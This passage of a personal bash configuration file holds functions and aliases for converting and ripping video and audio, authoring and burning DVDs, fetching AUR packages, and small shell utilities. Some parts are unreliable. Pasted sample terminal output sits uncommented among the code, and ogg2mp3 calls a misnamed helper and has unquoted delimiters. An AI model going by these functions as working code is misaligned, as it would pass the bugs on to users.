	mencoder $INPUT_FILE $AUDIO_TRACK $AUDIO_LANGUAGE $SUBTITLE_TRACK $SUBTITLE_LANGUAGE $SUBTITLE_TYPE -oac mp3lame -lameopts $AUDIO_BITRATE_TYPE:br=$AUDIO_BITRATE:vol=$AUDIO_VOLUME_LEVEL -ovc xvid -xvidencopts chroma_opt:vhq=4:bvhq=1:quant_type=mpeg:threads=$CPUS:bitrate=$BITRATE -vf pp=de,pullup,softskip,crop=${CROP_VALUES},$SCALING $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	####################### Close the custom quality option #17
	fi
	####################### Cleanup
	if [ -f mplayer.tmp ];then
	    rm mplayer.tmp
	fi
	if [ -f divx2pass.log ];then
	    rm divx2pass.log
	fi
	####################### Conversion finished notifications
	###### extra blank spaces
	echo "
	"
	###### notifications
	notify-send -t 7000 -i /usr/share/icons/gnome/32x32/status/info.png "Conversion Finished" ; espeak "Conversion Finished"
	# extra blank spaces
	echo "
	"
	read -sn 1 -p "Your conversion has finished, press any key to continue and close this terminal session..."
}
alias dvdrip='video2avi'
alias rip='video2avi'

###### video2dvd
function video2dvd()
{
	# video2dvd - Make a DVD ISO from a video file
	#           Burn ISO after script runs
	#
	# Author  - Inameiname
	#
	# Version:	1.0
	#
	# Usage   - video2dvd $1
	#           Run this script either from the terminal or by right clicking the video file and selecting the script
	# Ensure 'export VIDEO_FORMAT=NTSC' is in '~/.bashrc' or '~/.bash.profile' OR that its below
	##########
	# See if the Nautilus environment variable is empty
	if [ -z $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS ]; then
	    # If it's blank, set it equal to $1
	    NAUTILUS_SCRIPT_SELECTED_FILE_PATHS=$1
	fi
	# Loop through the list (from either Nautilus or the command line)
	for ARCHIVE_FULLPATH in $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS; do
	    NEWDIRNAME=${ARCHIVE_FULLPATH%.*}
	    FILENAME=${ARCHIVE_FULLPATH##*/}
	    NAME=${ARCHIVE_FULLPATH##*/.*}
	    ###### open and run all of the following in a terminal window
	    tty -s; if [ $? -ne 0 ]; then gnome-terminal -e "$0"; exit; fi
	    ###### be sure there is a "VIDEO_FORMAT=" specified
	    export VIDEO_FORMAT=NTSC
	    ###### cd to the video file's folder
	    mkdir "$NEWDIRNAME"
	    cd "$NEWDIRNAME"
	    cd ..
	    rmdir "$NEWDIRNAME"
	    ###### check to see if the file is an mpg/vob file; if not, convert it and rename the mpeg file to "dvd_movie.mpg"
	    echo 'Is this video file not already a DVD-compliant MPEG file (MPEG/mpeg/MPG/mpg/VOB/vob), 1 for true 0 for false? '
	    read MEDIA_TYPE
	    if [ "$MEDIA_TYPE" -eq 1 ] ; then
		   ###### convert the video file to '.mpg'
		   ffmpeg -i "$ARCHIVE_FULLPATH" -target ntsc-dvd -acodec mp2 -ab 224 -sameq "$NEWDIRNAME".mpg
		   notify-send -t 5000 -i /usr/share/icons/gnome/32x32/status/info.png "Conversion to an MPEG File Finished"
		   ###### rename the '.mpg' file to "dvd_movie.mpg"
		   mv -fv "$NEWDIRNAME".mpg "dvd_movie.mpg"
	    else
		   ###### rename the mpg/mpeg/vob file to "dvd_movie.mpg"
		   mv -fv "$ARCHIVE_FULLPATH" "dvd_movie.mpg"
	    fi
	    ###### create a "dvdauthor.xml" file - (save in the same directory as movie file)
    cat > "dvdauthor.xml" <<"End-of-message"
    <dvdauthor dest="DVD">
      <vmgm />
       <titleset>
         <titles>
           <pgc>
             <vob file="dvd_movie.mpg" chapters="0,05:00,10:00,15:00,20:00,25:00,30:00,35:00,40:00,45:00,50:00,55:00,1:00:00,1:05:00,1:10:00,1:15:00,1:20:00,1:25:00,1:30:00,1:35:00,1:40:00,1:45:00,1:50:00,1:55:00,2:00:00,2:05:00,2:10:00,2:15:00,2:20:00,2:25:00,2:30:00,2:35:00,2:40:00,2:45:00,2:50:00,2:55:00,3:00:00,3:05:00,3:10:00,3:15:00,3:20:00,3:25:00,3:30:00,3:35:00,3:40:00,3:45:00,3:50:00,3:55:00,4:00:00,4:05:00,4:10:00,4:15:00,4:20:00,4:25:00,4:30:00,4:35:00,4:40:00,4:45:00,4:50:00,4:55:00,5:00:00,5:05:00,5:10:00,5:15:00,5:20:00,5:25:00,5:30:00,5:35:00,5:40:00,5:45:00,5:50:00,5:55:00,6:00:00"/>
           </pgc>
          </titles>
       </titleset>
     </dvdauthor>
End-of-message
	    ###### the actual mpg/mpeg/vob conversion to dvd-compliant folders
	    dvdauthor -x dvdauthor.xml
	    ###### rename the mpg/mpeg/vob file from "dvd_movie.mpg" back to the original
	    if [ "$MEDIA_TYPE" -eq 1 ] ; then
		   ###### rename the '.mpg' file to "dvd_movie.mpg"
		   mv -fv "dvd_movie.mpg" "$NEWDIRNAME".mpg
	    else
		   ###### rename the mpg/mpeg/vob file to "dvd_movie.mpg"
		   mv -fv "dvd_movie.mpg" "$ARCHIVE_FULLPATH"
	    fi
	    ###### rename the 'DVD' file to same name as the original
	    mv -fv "DVD" "$NEWDIRNAME"
	    ###### remove the "dvdauthor.xml" file created and used from this script
	    rm -fv -R dvdauthor.xml
	    ###### convert the dvd-compliant folders to an ISO
	    echo 'Would you like to create an ISO from the DVD-complaint folders now, 1 for true 0 for false? '
	    read boole
	    if [ $boole -eq 1 ]; then
		   cd "$NEWDIRNAME"
		   mkisofs -v -dvd-video -o "$NEWDIRNAME.iso" .
		   cd ..
		   notify-send -t 2000 -i /usr/share/icons/gnome/32x32/status/info.png "ISO created"
	    else
		   notify-send -t 2000 -i /usr/share/icons/gnome/32x32/status/info.png "no ISO created"
	    fi
	    ###### option to burn the ISO
	    echo 'Would you like to burn this disc now, 1 for true 0 for false? '
	    read boole1
	    if [ $boole1 -eq 1 ]; then
		   # to get desired device
		   df -h -x tmpfs -x usbfs
		   echo -n "Please enter the appropriate DVD drive:

		   (1) /dev/dvd
		   (2) /dev/sr0
		   (3) /dev/sr1
		   (4) /dev/sr2
		   (5) custom

		   Press 'Enter' for default (default is '1')...

		   "
		   read DEVICE_NUMBER
		   # extra blank space
		   echo "
		   "
		   # default
		   if [[ -z $DEVICE_NUMBER ]] ; then
		   # If no device passed, default to /dev/dvd
			  DEVICE=/dev/dvd
		   fi
		   # preset
		   if [[ $DEVICE_NUMBER = 1 ]] ; then
			  DEVICE=/dev/dvd
		   fi
		   if [[ $DEVICE_NUMBER = 2 ]] ; then
			  DEVICE=/dev/sr0
		   fi
		   if [[ $DEVICE_NUMBER = 3 ]] ; then
			  DEVICE=/dev/sr1
		   fi
		   if [[ $DEVICE_NUMBER = 4 ]] ; then
			  DEVICE=/dev/sr2
		   fi
		   # custom
		   if [[ $DEVICE_NUMBER = 5 ]] ; then
			  echo -n "Please enter the appropriate DVD drive:  "
			  echo -n "...like this: '/dev/dvd'..."
			  read CUSTOM_DEVICE
			  DEVICE=$CUSTOM_DEVICE
		   fi
		   growisofs -dvd-compat -speed=1 -Z "$DEVICE"="$NEWDIRNAME"
		   notify-send -t 2000 -i /usr/share/icons/gnome/32x32/status/info.png "DVD burned"
	    else
		   notify-send -t 2000 -i /usr/share/icons/gnome/32x32/status/info.png "no DVD burned"
	    fi
	    ###### notify-send notification showing when the job has finished
	    notify-send -t 5000 -i /usr/share/icons/gnome/32x32/status/info.png "All Conversions Finished"
	done
}

############ Audio ############

###### rip audio from video ("$1" for output file & "$2" for input file)
function audioextract()
{
	mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile "$1" "$2"
}

###### flac2mp3 - call this like: flac2mp3 /path/to/source/file.flac /path/to/destination - needs: getFileName function; flac encoder/decoder; lame
function flac2mp3() 
{
   local old_file="${1}"
   local new_dir="${2}"
   local short_filename=`getFileName "${old_file}"`
   local new_file="${short_filename:0:${#short_filename}-5}.mp3"

   flac -d -o - "${old_file}" | lame -b 320 -h - > "${new_dir}/${new_file}"
}

###### flac2ogg - call this like: flac2ogg /path/to/source/file.flac /path/to/destination needs: getFileName function; flac encoder/decoder; oggenc
function flac2ogg()
{
   local old_file="${1}"
   local new_dir="${2}"
   local short_filename=`getFileName "${old_file}"`
   local new_file="${short_filename:0:${#short_filename}-5}.ogg"
   ###### get artist and album before release #########
   # flac -d -o - "${old_file}" | oggenc -a "$artist" -l "$album" -t "${title}" - -o "${new_dir}/${new_file}"
   #------------------------------------------////##
   local title="${short_filename:0:${#short_filename}-4}"

   flac -d -o - "${old_file}" | oggenc -t "${title}" - -o "${new_dir}/${new_file}"
}
alias flvaudio='ffmpeg -i "$1" -f mp3 -vn -acodec copy output.mp3'			# extract sound from flv & make mp3

###### fix MP3 tags encoding (to UTF-8) - batch fixes all MP3s in one directory
function mp3_tagging()
{
	find . -iname "*.mp3" -execdir mid3iconv -e <encoding> {} \;
}

###### ogg2mp3 - call this like: ogg2mp3 /path/to/source/file.flac /path/to/destination - needs: getFileName function; oggdec; lame
function ogg2mp3()
{
   local old_file="${1}"
   local new_dir="${2}"
   local short_filename=`getFileName "${old_file}"`
   local new_file="${short_filename:0:${#short_filename}-4}.mp3"
   local info_string=`get_ogg_info "$old_file"`
   local cartist=`cut -d| -f1 ${info_string}`
   local ctitle=`cut -d| -f2 ${info_string}`
   local calbum=`cut -d| -f3 ${info_string}`
   local cgenre=`cut -d| -f4 ${info_string}`
   local cdate=`cut -d| -f5 ${info_string}`
   local ctracknumber=`cut -d| -f6 ${info_string}`

   oggdec "${old_file}" -o - | lame  -b 320 --tt "$ctitle" --ta "$cartist" --tl "$calbum" --ty $cdate --tn $ctracknumber --tg "$cgenre" -h - > "${new_dir}/${new_file}"
   sleep .5
}

###### ogg_info - call this like: - ogg_info_string=`get_ogg_info "/path/to/file.ogg"` - ofcourse the string would have to be parsed - it is pipe | delimited - in order artist, title, album, genre, date, and track number - inStr function needed; vorbiscomment (comes with oggenc)
function ogg_info()
{
   local turn=""
   local index=0
   local item=""
   local cartist=""
   local ctitle=""
   local calbum=""
   local cgenre=""
   local cdate=""
   local ctracknumber=""

   vorbiscomment -l "$1" > info.lst
   for turn in artist title album genre date tracknumber
   do
      tmp_comment=`grep -i "$turn" info.lst`
      item=`inStr "=" "$tmp_comment"`
      comment=${tmp_comment:${item}+1}
      ((index++))
      case $index in
      1)   cartist="$comment";
         ;;
      2)   ctitle="$comment";
         ;;
      3)   calbum="$comment";
         ;;
      4)   cgenre="$comment";
         ;;
      5)   cdate="$comment";
         ;;
      6)   ctracknumber="$comment";
         ;;
      esac
   done
   info="${cartist}|${ctitle}|${calbum}|${cgenre}|${cdate}|${ctracknumber}"
   echo "${info}"
   rm -f info.lst
}

alias wma2mp3='for f in *.wma; do ffmpeg -i "$f" -ab 128k "${f%.wma}.mp3" -ab 128K; done'		
# convert wma to mp3@128k

alias wma2ogg='for f in *.wma; do ffmpeg -i "$f" -ab 128k "${f%.wma}.ogg" -ab 128K; done'		
# convert wma to ogg@128

alias wma2wav='for i in *.wma; do mplayer -vo null -vc dummy -af resample=44100 -ao pcm:waveheader:file="${i%.wma}.wav" "$i" ; done'	
# convert wma to wav

###### record audio and use sox to eliminate silence outputs an ogg file that only contains the audio signal exceeding -45dB - useful for recording radio scanner
function audiorecord-45dB()
{
	rec -r 44100 -p | sox -p "audio_name-$(date '+%Y-%m-%d').ogg" silence -l 1 00:00:00.5 -45d -1 00:00:00.5 -45d
}

####### Download AUR package using best guess at filename
function aurget() {
  local DIR=$HOME/Packages
  cd $DIR && wget http://aur.archlinux.org/packages/${1}/${1}.tar.gz
  ls -l
}

###### shows a gui color chart
# function color-picker()
# 	{
# 	# for GNOME3 only
# 	# sudo apt-get install python-webkit
# 	# also requires: "~/.gnome2/nemo-scripts/.colorchart/view.html"
# 	echo "When you are finished, press "Control C" to continue..."
# 	cat > "/tmp/color-picker.py" <<"End-of-message"
# 	#!/usr/bin/python
# 	import os
# 	import pygtk
# 	pygtk.require('2.0')
# 	import gtk
# 	import webkit
# 	homedir = os.path.expanduser('~')
# 	try:
#  	   from win32com.shell import shellcon, shell
#  	   homedir = shell.SHGetFolderPath(0, shellcon.CSIDL_APPDATA, 0, 0)
# 	except ImportError:
# 	    homedir = os.path.expanduser("~/.gnome2/nemo-scripts/.colorchart/view.html")
# 	class ColorChart:
#	 	def __init__(self):
# 	                self.moz = webkit.WebView()
# 			box = gtk.VBox(False,0)
# 			win = gtk.Window()
# 			win.add(box)
# 			hbox = gtk.HBox(False,0)
#  	                box.pack_start(hbox,False,False)
# 	                hbox.show()
# 			box.pack_start(self.moz,True,True,0)
# 	                self.moz.show()
# 			self.moz.open(homedir)
# 	                self.moz.set_size_request(650,550)
# 			title=self.moz.get_title()
# 			win.set_title("RGB/HEX Color Picker")
# 			win.show_all()
# 	if __name__ == "__main__":
# 		ColorChart()
# 		gtk.main()
# 	End-of-message
# 	chmod +x "/tmp/color-picker-.py"
# 	/usr/bin/python "/tmp/color-picker.py"
# 	/bin/rm "/tmp/color-picker.py"
# }

###### creates an authentic and correct debian file / uploads to a Launchpad PPA for debian file creation
# function debmaker()
# {
# function searchnreplace_()
# {
# # Store old text and new text in variables
# old=$1;
# new=$2;
# # Shift positional parameters to places to left (get rid of old and
# # new from command line)
# shift;
# shift;
# # Store list of files as a variable
# files=$@;
# a='';
# for a in $files
#  do
#   temp=$(echo "/tmp/$LOGNAME-$a");
# # echo "$temp";
#   echo -n ".";
#   sed -e "s/$old/$new/g" $a > $temp;
#   mv $temp $a;
#  done
# echo;
# echo -e "Searched $# files for '$old' and replaced with '$new'";
# }
# sudo apt-get install devscripts dh-make dput
# echo -n "Please enter the full path to Public keys (spaces are fine)...
#
# Example: '/home/(your username)/Public_Key-public.key'...
#
# "
# read MYKEYS_PUBLIC_LOCATION
# gpg --import "$MYKEYS_PUBLIC_LOCATION"
# echo -n "Please enter the full path to Private keys (spaces are fine)...
#
# Example: '/home/(your username)/Private_Keys-private.key'...
#
# "
# read MYKEYS_PRIVATE_LOCATION
# gpg --import "$MYKEYS_PRIVATE_LOCATION"
# echo -n "All done."
# echo -n "Please enter the name of the package:
# "
# read PACKAGE_NAME
# echo -n "Please enter your name as it is on Launchpad:
# "
# read YOUR_NAME
# echo -n "Please enter your email address as it is on Launchpad:
# "
# read YOUR_EMAILADDRESS
# dh_make -n -s -e $YOUR_EMAILADDRESS
# cd debian
# searchnreplace_ ""$USER" <"$YOUR_EMAILADDRESS">" ""YOUR_PPA_USERNAME" <"$YOUR_EMAILADDRESS">" *
# searchnreplace_ "unstable; urgency=low" "saucy; urgency=low" *
# echo '#!/usr/bin/make -f' >> $PACKAGE_NAME.install
# echo ''
# echo '# add more lines like below when necessary' >> $PACKAGE_NAME.install
# echo '<put_whatever_directory(s)_here>/ /' >> $PACKAGE_NAME.install
# sudo chmod +x $PACKAGE_NAME.install
# gedit control changelog $PACKAGE_NAME.install
# cd ..
# read -sn 1 -p "If you are ready to build the package, press any key to continue...
# "
# echo -n "What do you want to compile the original source to?:
#
# (1) a debian binary for personal use / check to see if the building works
# (2) a new source for potential Launchpad PPA upload
# (3) a debian binary for checking AND a new source for potential Launchpad PPA upload
#
# Press 'Enter' for default (default is '3')...
#
# "
# read OPTION_NUMBER
# # extra blank space
# echo "
# "
# # default
# if [[ -z $OPTION_NUMBER ]] ; then
# # If no device passed, default to "3"
#   debuild -b
#   read -sn 1 -p "Built deb is done; if it looks good, and you feel its good enough to make the source for a PPA upload, press any key to continue...
# "
#   debuild -S
#   cd ..
#   mkdir Debian-Package
#     mv -fv *_all.* Debian-Package
#     mv -fv *_amd64.* Debian-Package
#     mv -fv *_i386.* Debian-Package
#   read -sn 1 -p "If you are ready to upload the built package to Launchpad, press any key to continue...
# "
#   echo -n "Please enter the name of your Launchpad PPA that you would like to upload the package to:
#
#   ...like this...('ppa:myppa/oneiric')...
# "
#   read PPA_NAME
#   dput $PPA_NAME *.changes
# fi
# # preset
# if [[ $OPTION_NUMBER = 1 ]] ; then
#     debuild -b
# fi
# if [[ $OPTION_NUMBER = 2 ]] ; then
#   debuild -S
#   cd ..
#   read -sn 1 -p "If you are ready to upload the built package to Launchpad, press any key to continue...
# "
#   echo -n "Please enter the name of your Launchpad PPA that you would like to upload the package to:
#
#   ...like this...('ppa:myppa/oneiric')...
# "
#   read PPA_NAME
#   dput $PPA_NAME *.changes
# fi
# if [[ $OPTION_NUMBER = 3 ]] ; then
#   debuild -b
#   read -sn 1 -p "Built deb is done; if it looks good, and you feel its good enough to make the source for a PPA upload, press any key to continue...
# "
#   debuild -S
#   cd ..
#   mkdir Debian-Package
#     mv -fv *_all.* Debian-Package
#     mv -fv *_amd64.* Debian-Package
#     mv -fv *_i386.* Debian-Package
#   read -sn 1 -p "If you are ready to upload the built package to Launchpad, press any key to continue...
# "
#   echo -n "Please enter the name of your Launchpad PPA that you would like to upload the package to:
#
#   ...like this...('ppa:myppa/oneiric')...
# "
#   read PPA_NAME
#   dput $PPA_NAME *.changes
# fi
# }

####### Pseudo namespaces in bash
#------------------------------------------////

## copyright: 2009, Poor Yorick
## author url:  http://www.pooryorick.com
## license: http://www.ynform.org/w/Pub/OpenSourceSharewareLicense
## to "import" functions and assign them to pseudo namespaces using prefixes
## caveat: works well for functions, but there is still only one global namespace -- no script-level namespace like Python's
# function shimport() {
#	local magic part prefix script script2 t tvar var vartype
#	magic=__shimport__
#	script='
#	{ @1 ; } >&2
#	@script2
#	'
#	script="${script//@1/$(< /dev/stdin)}"
#	script=$(printf '%s\n%s' "$script" "declare -p $magic")
#	prefix="$1"
#	shift
#	script2=''
#	while test ${#@} -gt 0; do
#		var=${1%%=*}
#		vartype=${1#*=}
#		case "$vartype" in
#			f*)
#				t=-f
#				;;
#			v*)
#				t=-p
#				;;
#			*)
#				echo "$vartype" is an invalid type specifier for "$var"!
#				return 1
#				;;
#		esac
#		read -d '' part <<-'EOF'
#			@magic=$(declare @t @var)
#			@magic=${@magic/@var/@prefix@var}
#			printf '%s\\n' "$@magic"
#		EOF
#		for tvar in magic t var prefix; do
#			part=${part//@$tvar/${!tvar}}
#		done
#		script2="$(printf '%s\n%s\n' "$script2" "$part")"
#		shift
#	done
#	printf '%s\n' "$(bash -c "${script//@script2/$script2}")"
# }
# shimport_test1=$(cat <<-'EOG'
#	eval "$(shimport mod1_ var1=v var2=v func1=f <<-'EOF'
#		echo welcome to the inner script!
#		var1=( one two "forty three" )
#		var2=val2
#		function func1() {
#			echo welcome to func1!
#		}
#		EOF
#	)"
#	mod1_func1
#	printf 'mod1_var1: %s\n' "${mod1_var1[@]}"
# EOG
# )
# eval "$shimport_test1"
#    }}}

# Sudo stuff
#------------------------------------------////

###### Apt-get via sudo
# An apt-get wrapper function which will run the command via sudo, but will run it normally if you're only downloading source files.
# function apt-get() { [ "$1" = source ] && (command apt-get "$@";true) || sudo apt-get "$@" }

# function sudo()
# {
#   command="$@"
#   if [ -z "$command" ]; then
#     command sudo -s
#   else
#      command sudo "$@"
#   fi
# }

###### Wrap sudo to handle aliases and functions
# (enabled means all 'sudo' in this file need
# to be removed) (disabled for now by adding
# a single '#')
# function sudo()
# {
# local c o t parse
## Parse sudo args
# OPTIND=1
# while getopts xVhlLvkKsHPSb:p:c:a:u: t; do
# if [ "$t" = x ]; then
# parse=true
# else
# o="$o -$t"
# [ "$OPTARG" ] && o="$o $OPTARG"
# fi
# done
# shift $(( $OPTIND - 1 ))
## If no arguments are left, it's a simple call to sudo
# if [ $#  -ge 1 ]; then
# c="$1";
# shift;
# case $(type -t "$c") in
# "")
# echo No such command "$c"
# return 127
# ;;
# alias)
# c="$(type "$c"|sed "s/^.* to \`//;s/.$//")"
# ;;
# function)
# c=$(type "$c"|sed 1d)";\"$c\""
# ;;
# *)
# c="\"$c\""
# ;;
# esac
# if [ -n "$parse" ]; then
## Quote the rest once, so it gets processed by bash.
## Done this way so variables can get expanded.
# while [ -n "$1" ]; do
# c="$c \"$1\""
# shift
# done
# else
## Otherwise, quote the arguments. The echo gets an extra
## space to prevent echo from parsing arguments like -n
## Note the lovely interactions between " and ' ;-)
# while [ -n "$1" ]; do
# c="$c '$(echo " $1"|sed -e "s/^ //" -e "s/'/'\"'\"'/")'"
# shift
# done
# fi
## Run the command with verbose options
## echo Executing sudo $o -- bash -x -v -c "$c" >&2
# command sudo $o bash -xvc "$c"
# else
## echo sudo $o >&2
# command sudo $o
# fi
# }

###### Sudo for entire line (including pipes and redirects)
# USAGE: $ sudor your command
# This command uses a dirty hack with history, so be sure you not turned it off.
# WARNING!: This command behavior differ from other commands. It more like text macro, so you shouldn't use it in subshells, non-interactive sessions, other # functions/aliases and so on. You shouldn't pipe into sudor (any string that prefixes sudor will be removed), but if you really want, use this commands:
# function proceed_sudo() { sudor_command="`HISTTIMEFORMAT=\"\" history 1 | sed -r -e 's/^.*?sudor//' -e 's/\"/\\\"/g'`" ; sudo sh -c "$sudor_command"; }; alias sudor="proceed_sudo # "

####### Arch latest news long
#if [ "$PS1" ] && [[ $(ping -c1 www.google.com 2>&-) ]]; then
#    # The characters "£, §" are used as metacharacters. They should not be encountered in a feed...
#    echo -e "$(echo $(curl --silent https://www.archlinux.org/feeds/news/ | sed -e ':a;N;$!ba;s/\n/ /g') | \
#       sed -e 's/&amp;/\&/g
#       s/&lt;\|&#60;/</g
#       s/&gt;\|&#62;/>/g
#       s/<\/a>/£/g
#       s/href\=\"/§/g
#       s/<title>/\\n\\n\\n   :: \\e[01;31m/g; s/<\/title>/\\e[00m ::\\n/g
#       s/<link>/ [ \\e[01;36m/g; s/<\/link>/\\e[00m ]/g
#       s/<description>/\\n\\n\\e[00;37m/g; s/<\/description>/\\e[00m\\n\\n/g
#       s/<p\( [^>]*\)\?>\|<br\s*\/\?>/\n/g
#       s/<b\( [^>]*\)\?>\|<strong\( [^>]*\)\?>/\\e[01;30m/g; s/<\/b>\|<\/strong>/\\e[00;37m/g
#       s/<i\( [^>]*\)\?>\|<em\( [^>]*\)\?>/\\e[41;37m/g; s/<\/i>\|<\/em>/\\e[00;37m/g
#       s/<u\( [^>]*\)\?>/\\e[4;37m/g; s/<\/u>/\\e[00;37m/g
#       s/<code\( [^>]*\)\?>/\\e[00m/g; s/<\/code>/\\e[00;37m/g
#       s/<a[^§|t]*§\([^\"]*\)\"[^>]*>\([^£]*\)[^£]*£/\\e[01;31m\2\\e[00;37m \\e[01;34m[\\e[00;37m \\e[04m\1\\e[00;37m\\e[01;34m ]\\e[00;37m/g
#       s/<li\( [^>]*\)\?>/\n \\e[01;34m*\\e[00;37m /g
#       s/<!\[CDATA\[\|\]\]>//g
#       s/\|>\s*<//g
#       s/ *<[^>]\+> */ /g
#       s/[<>£§]//g')\n\n";
#fi

####### Arch latest news short - http://1.f.ix.de/icons/ho/rss.gif
#if [ "$PS1" ] && [[ $(ping -c1 www.google.com 2>&-) ]]; then
#    # The characters "£, §" are used as metacharacters. They should not be encountered in a feed...
#    echo -e "$(echo $(curl --silent https://www.archlinux.org/feeds/news/ | awk ' NR == 1 {while ($0 !~ /<\/item>/) {print;getline} sub(/<\/item>.*/,"</item>") ;print}' | sed -e #':a;N;$!ba;s/\n/ /g') | \
#        sed -e 's/&amp;/\&/g
#        s/&lt;\|&#60;/</g
#        s/&gt;\|&#62;/>/g
#        s/<\/a>/£/g
#        s/href\=\"/§/g
#       s/<title>/\\n\\n\\n   :: \\e[01;31m/g; s/<\/title>/\\e[00m ::\\n/g
#        s/<link>/ [ \\e[01;36m/g; s/<\/link>/\\e[00m ]/g
#        s/<description>/\\n\\n\\e[00;37m/g; s/<\/description>/\\e[00m\\n\\n/g
#        s/<p\( [^>]*\)\?>\|<br\s*\/\?>/\n/g
#        s/<b\( [^>]*\)\?>\|<strong\( [^>]*\)\?>/\\e[01;30m/g; s/<\/b>\|<\/strong>/\\e[00;37m/g
#        s/<i\( [^>]*\)\?>\|<em\( [^>]*\)\?>/\\e[41;37m/g; s/<\/i>\|<\/em>/\\e[00;37m/g
#        s/<!\[CDATA\[\|\]\]>//g
#        s/\|>\s*<//g
#        s/ *<[^>]\+> */ /g
#        s/[<>£§]//g')\n\n";
#fi

function mdr() { pandoc $1 | lynx -stdin -dump } 
# Render #markdown in the shell.

function topuniq(){ sort|uniq -c|sort "${@:--rn}"; } 
# Function to shorten this commonly used command line pattern & allow for options for final sort

function vercomp () {
# bash: version compare function 
    A=$1
    OP="$2"
    B=$3

    if [ "$A" == "$B" ]; then
        if [ "$OP" == "!=" ]; then
            if [[ $A == $B ]]
            then
                return 1
            else
                return 0
            fi
        fi

        if [ "$OP" == "=" ]; then
            if [[ $A == $B ]]
            then
                return 0
            else
                return 1
            fi
        else
            return 1
        fi
    else
        if [ "$OP" == "!=" ]; then
            if [[ $A == $B ]]
            then
                return 1
            else
                return 0
            fi
        fi

        if [ "$OP" == "=" ]; then
            if [[ $A == $B ]]
            then
                return 0
            else
                return 1
            fi
        fi
    fi

    local IFS=.
    local i ver1=($A) ver2=($B)
    # fill empty fields in ver1 with zeros
    for ((i=${#ver1[@]}; i<${#ver2[@]}; i++))
    do
        ver1[i]=0
    done

    if [ "$OP" == "<" ]; then
        for ((i=0; i<${#ver1[@]}; i++))
        do
            if [[ -z ${ver2[i]} ]]
            then
                # fill empty fields in ver2 with zeros
                ver2[i]=0
            fi
            if ((10#${ver1[i]} < 10#${ver2[i]}))
            then
                return 0
            fi
            if ((10#${ver1[i]} > 10#${ver2[i]}))
            then
                return 1
            fi
        done
    fi

    local IFS=.
    local i ver1=($A) ver2=($B)
    # fill empty fields in ver1 with zeros
    for ((i=${#ver1[@]}; i<${#ver2[@]}; i++))
    do
        ver1[i]=0
    done

    if [ "$OP" == ">" ]; then
        for ((i=0; i<${#ver1[@]}; i++))
        do
            if [[ -z ${ver2[i]} ]]
            then
                # fill empty fields in ver2 with zeros
                ver2[i]=0
            fi
            if ((10#${ver1[i]} > 10#${ver2[i]}))
            then
                return 0
            fi
            if ((10#${ver1[i]} < 10#${ver2[i]}))
            then
                return 1
            fi
        done
    fi
}
#-----------------------------------------------------------------------------------------------------------------------------#

# Prints msec in format "[d days ]hh:mm:ss.SSS"
function format_duration #(msec=0)
{
    local t=${1:-0}
    local days=$((t/60/60/24))
    [ $days -gt 0 ] && echo -ne "$days days "
    printf "%d:%02d:%02d" $((t/60/60%24)) $((t/60%60)) $((t%60))
}

# Prints file permissions in decimal mode, ex. 755.
# $ perm ~
# $ 750
function perm #(path=.)
{
    [ -e "${1:-.}" ] && stat -c %a "${1:-.}"
}

# Prints timestamp of elderly modified file matching mask in provided directory.
# If directory does not exist or no files matching mask present then nothing is output.
function eldest_content_mod_ts #(path=., filename_mask=.*)
{
    #if [ -n "`basename '$1'`" ]; then
    if [ -d "${1:-.}" ]; then

        #find "`dirname '$1'`" -type f -maxdepth 1 -name "`basename '$1'`" -printf "%C@ %T@ %P\n"
        
        find "${1:-.}" -maxdepth 1 -name "${2:-.*}" -printf "%C@ %T@ %P\n" \
            | awk '{ print ($1>$2?$1:$2) }' \
            | sort -bgk 1 \
            | tail -n 1

    fi
}

# Prints names of files which match.
# perm - exact match
# -perm - greater or equal
# +perm - less or equal
function match_perm #(filename_mask, perm)
{
    find "`dirname $1`" -maxdepth 1 -name "`basename $1`" -printf "%P\n" -perm +`printf %03d "${2:-0}"`
}

# Prints directory content age in msec.
function content_age #(path=., filename_mask=.*)
{
    local mod_ts="`eldest_content_mod_ts \"$1\" \"$2\"`"
    if [ -n "$mod_ts" ]; then
        expr "`date +%s` - $mod_ts"
    fi
}

# Returns 0 iff provided path is mounted, otherwhise 1.
function mounted #(path=.)
{
    [ -d "${1:-.}" ] && [[ ! `stat -f -L -c %T "${1:-.}"` =~ "ext.*" ]] && return 0
    return 1
}

# Returns 0 iff permissions for path are greater or equal to perm.
function enough_perm #(path, perm)
{
    local act=`perm "$1"`
    local exp=`printf %03d "${2:-0}"`
    [ "${act:0:1}" -ge "${exp:0:1}" ] && [ "${act:1:1}" -ge "${exp:1:1}" ] && [ "${act:2:1}" -ge "${exp:2:1}" ] && return 0
    return 1
}

function blue(){ tput setaf 4; echo $@; tput sgr0; } 
# Make text passed by argument to this function blue. ex: blue "I'm blue"

function box() { t="$1xxxx";c=${2:-=}; echo ${t//?/$c}; echo "$c $1 $c"; echo ${t//?/$c}; } 
# Make box around text. By @bartonski See https://www.youtube.com/watch?v=9bZ85aMuf6c … for an explanation of how it works.

function man2txt() { man "$@" | col -bx ;}
# Dump man page as clean text - Dumping man pages to text typically retains certain formatting such as foo^H^H^H___ for underscoring, and reverse-line feeds (not sure why). 'col -bx' removes these. 

function hex2bin () { s=${@^^}; for i in $(seq 0 1 $((${#s}-1))); do printf "%04s" `printf "ibase=16; obase=2; ${s:$i:1};\n" | bc` ; done; printf "\n"; }
# Convert hex data to binary with a bash function (requires bash v4+ for the @^^ lowercase hex demangling)
# Use this function with bash version 4+ to convert arbitrary hexadecimal sequences to binary. If you don't have bash 4+ then modify the lowercase to uppercase demangling statement s=${@^^} to set s equal to the uppercase hex input or the bc command throws an input parser error. This is sample output - yours may be different.
$ bash --version
GNU bash, version 4.4.23(1)-release (x86_64-apple-darwin17.5.0)
$ hex2bin 000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f
0000000000000000000000000000000000000000000110011101011001101000100111000000100001011010111000010110010110000011000111101001001101001111111101110110001110101110010001101010001010100110110000010111001010110011111100011011011000001010100011001110001001101111

function yesterday(){ date -d "${1:-now} - 1 day" +"${2:-%Y%m%d}"; } 
# A function that can give you previous day. Can take date arg and format.

function thirdline(){ awk '{if (NR%3==0){print "\033[32m" $0 "\033[0m"} else{print}}'; } 
# Function that will make every 3rd line of input green to make it easier to follow the lines among others. Usage: ps auxww | thirdline ip addr show | thirdline
#"greenbar" look with something like: 
awk '{if (NR%2==0){print "\033[48;5;36m" $0 "\033[48;5;0m"} else{print}}'
